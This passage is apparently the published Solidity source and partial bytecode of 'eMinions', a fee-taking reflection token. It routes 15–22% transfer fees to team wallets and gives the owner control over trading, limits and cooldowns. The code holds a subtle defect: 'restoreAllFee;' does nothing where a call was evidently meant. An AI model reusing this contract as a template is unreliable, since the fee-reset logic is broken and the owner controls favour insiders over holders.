amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract eMinions is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"eMinions"; string private constant _symbol = "eMinions"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function setFee(uint256 multiplier) private { if (multiplier > 0) { _taxFee = 7; _teamFee = 15; }else{ _taxFee = 5; _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _taxFee = 2; _teamFee = 6; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(5).div(100) && amount <= _maxTxAmount); if(firstsell[from] + (1 hours) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190612e63565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906129ea565b610418565b60405161016d9190612e48565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190612fe5565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061299b565b610447565b6040516101d59190612e48565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061305a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612a26565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b919061290d565b61064d565b60405161027d9190612fe5565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf9190612d7a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190612e63565b60405180910390f35b3480156102ff57600080fd5b5061031a600480360381019061031591906129ea565b610857565b6040516103279190612e48565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612a78565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a9919061295f565b610b03565b6040516103bb9190612fe5565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600881526020017f654d696e696f6e73000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b6105108560405180606001604052806028815260200161364460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c809092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b590612f45565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a81611ce4565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ddf565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90612f45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f654d696e696f6e73000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81611e4d565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612f45565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690612f45565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990612f05565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061214790919063ffffffff16565b6121c290919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190612fe5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690612f45565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612936565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612936565b6040518363ffffffff1660e01b8152600401610de4929190612d95565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612936565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190612de7565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612aa1565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611040929190612dbe565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612a4f565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590612fa5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590612ec5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190612fe5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090612f85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090612e85565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390612f65565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bbd57601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90612fc5565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e4261188091906130ca565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260088190555060066009819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611bbb576119ba60646119ac600561199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61214790919063ffffffff16565b6121c290919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42610e10600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2291906130ca565b1015611a6e576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611b5057600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b0690613279565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611b5981611e4d565b60004790506000811115611b7157611b7047611ce4565b5b611bb9600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220c565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c645750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c6e57600090505b611c7a8484848461223e565b50505050565b6000838311158290611cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbf9190612e63565b60405180910390fd5b5060008385611cd791906131ab565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d346002846121c290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d5f573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611db06002846121c290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ddb573d6000803e3d6000fd5b5050565b6000600654821115611e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1d90612ea5565b60405180910390fd5b6000611e3061227d565b9050611e4581846121c290919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eab577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ed95781602001602082028036833780820191505090505b5090503081600081518110611f17577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fb957600080fd5b505afa158015611fcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ff19190612936565b8160018151811061202b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209230601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f6959493929190613000565b600060405180830381600087803b15801561211057600080fd5b505af1158015612124573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b60008083141561215a57600090506121bc565b600082846121689190613151565b90508284826121779190613120565b146121b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ae90612f25565b60405180910390fd5b809150505b92915050565b600061220483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122a8565b905092915050565b600081111561222a576007600881905550600f60098190555061223b565b6005600881905550600a6009819055505b50565b8061224c5761224b61230b565b5b61225784848461233c565b806122655761226461226b565b5b50505050565b6005600881905550600a600981905550565b600080600061228a612507565b915091506122a181836121c290919063ffffffff16565b9250505090565b600080831182906122ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e69190612e63565b60405180910390fd5b50600083856122fe9190613120565b9050809150509392505050565b600060085414801561231f57506000600954145b156123295761233a565b600060088190555060006009819055505b565b60008060008060008061234e87612569565b9550955095509550955095506123ac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061244185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248d81612679565b6124978483612736565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124f49190612fe5565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea00000905061253d683635c9adc5dea000006006546121c290919063ffffffff16565b82101561255c57600654683635c9adc5dea00000935093505050612565565b81819350935050505b9091565b60008060008060008060008060006125868a600854600954612770565b925092509250600061259661227d565b905060008060006125a98e878787612806565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061261383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c80565b905092915050565b600080828461262a91906130ca565b90508381101561266f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266690612ee5565b60405180910390fd5b8091505092915050565b600061268361227d565b9050600061269a828461214790919063ffffffff16565b90506126ee81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61274b826006546125d190919063ffffffff16565b6006819055506127668160075461261b90919063ffffffff16565b6007819055505050565b60008060008061279c606461278e888a61214790919063ffffffff16565b6121c290919063ffffffff16565b905060006127c660646127b8888b61214790919063ffffffff16565b6121c290919063ffffffff16565b905060006127ef826127e1858c6125d190919063ffffffff16565b6125d190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061281f858961214790919063ffffffff16565b90506000612836868961214790919063ffffffff16565b9050600061284d878961214790919063ffffffff16565b905060006128768261286885876125d190919063ffffffff16565b6125d190919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061289e816135fe565b92915050565b6000815190506128b3816135fe565b92915050565b6000813590506128c881613615565b92915050565b6000815190506128dd81613615565b92915050565b6000813590506128f28161362c565b92915050565b6000815190506129078161362c565b92915050565b60006020828403121561291f57600080fd5b600061292d8482850161288f565b91505092915050565b60006020828403121561294857600080fd5b6000612956848285016128a4565b91505092915050565b6000806040838503121561297257600080fd5b60006129808582860161288f565b92505060206129918582860161288f565b9150509250929050565b6000806000606084860312156129b057600080fd5b60006129be8682870161288f565b93505060206129cf8682870161288f565b92505060406129e0868287016128e3565b9150509250925092565b600080604083850312156129fd57600080fd5b6000612a0b8582860161288f565b9250506020612a1c858286016128e3565b9150509250929050565b600060208284031215612a3857600080fd5b6000612a46848285016128b9565b91505092915050565b600060208284031215612a6157600080fd5b6000612a6f848285016128ce565b91505092915050565b600060208284031215612a8a57600080fd5b6000612a98848285016128e3565b91505092915050565b600080600060608486031215612ab657600080fd5b6000612ac4868287016128f8565b9350506020612ad5868287016128f8565b9250506040612ae6868287016128f8565b9150509250925092565b6000612afc8383612b08565b60208301905092915050565b612b11816131df565b82525050565b612b20816131df565b82525050565b6000612b3182613085565b612b3b81856130a8565b9350612b4683613075565b8060005b83811015612b77578151612b5e8882612af0565b9750612b698361309b565b925050600181019050612b4a565b5085935050505092915050565b612b8d816131f1565b82525050565b612b9c81613234565b82525050565b6000612bad82613090565b612bb781856130b9565b9350612bc7818560208601613246565b612bd081613320565b840191505092915050565b6000612be86023836130b9565b9150612bf382613331565b604082019050919050565b6000612c0b602a836130b9565b9150612c1682613380565b604082019050919050565b6000612c2e6022836130b9565b9150612c39826133cf565b604082019050919050565b6000612c51601b836130b9565b9150612c5c8261341e565b602082019050919050565b6000612c74601d836130b9565b9150612c7f82613447565b602082019050919050565b6000612c976021836130b9565b9150612ca282613470565b604082019050919050565b6000612cba6020836130b9565b9150612cc5826134bf565b602082019050919050565b6000612cdd6029836130b9565b9150612ce8826134e8565b604082019050919050565b6000612d006025836130b9565b9150612d0b82613537565b604082019050919050565b6000612d236024836130b9565b9150612d2e82613586565b604082019050919050565b6000612d466011836130b9565b9150612d51826135d5565b602082019050919050565b612d658161321d565b82525050565b612d7481613227565b82525050565b6000602082019050612d8f6000830184612b17565b92915050565b6000604082019050612daa6000830185612b17565b612db76020830184612b17565b9392505050565b6000604082019050612dd36000830185612b17565b612de06020830184612d5c565b9392505050565b600060c082019050612dfc6000830189612b17565b612e096020830188612d5c565b612e166040830187612b93565b612e236060830186612b93565b612e306080830185612b17565b612e3d60a0830184612d5c565b979650505050505050565b6000602082019050612e5d6000830184612b84565b92915050565b600060208201905081810360008